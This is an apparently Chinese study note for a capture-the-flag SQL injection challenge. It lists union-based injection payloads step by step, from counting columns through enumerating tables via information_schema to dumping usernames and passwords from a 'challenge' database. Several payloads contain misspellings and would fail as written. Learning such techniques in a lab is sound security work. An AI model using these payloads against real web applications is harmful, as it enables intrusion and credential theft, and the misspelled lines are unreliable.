SQL注入题1

SQL注入题1

SQL注入题1



SQL注入题1

SQL注入题1


SQL注入题1

service mysql start;

mysql -u root -q;
use mysql;
show databases;

id=1 order by 3 判断列数

id =-1 union select 1,2,3 判断出现位数
id=-1 union select 1,user(),database() 查询数据库名
id=-1 union select 1,(select table_name from information_schema.tables where table_schema = 'challenge'),3   从‘challenge’数据库中查询表名
id=-1 union select 1,(select colnum_name from information_schema.colnum where table_schema='challenge' and table_name = table_name),3   从‘challenge’数据库,表名为table_name中的数据库中查询字段名
id=-1 union select 1,(select colnum_name from conum.table_name),3
/////id=-1 union select table_name from imformation_schema.tables where table_schema ='challenge'
id=-1 union select 1,(select group_concat(table_name)from imformation_schema.tables where table_schema ='challenge'),3
id=-1 union select 1,(select group_concat(concat(username,0x7e,password))from challenge.users),3
union 联合查询;
group_concat 结果变成行;
concat(0x7e) 加入分割符

相关文章:

  • 2021-06-09
  • 2022-12-23
  • 2021-04-07
  • 2021-10-14
  • 2021-12-02
  • 2021-05-22
  • 2021-12-17
猜你喜欢
  • 2021-05-19
  • 2021-11-03
  • 2022-01-04
  • 2021-06-21
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案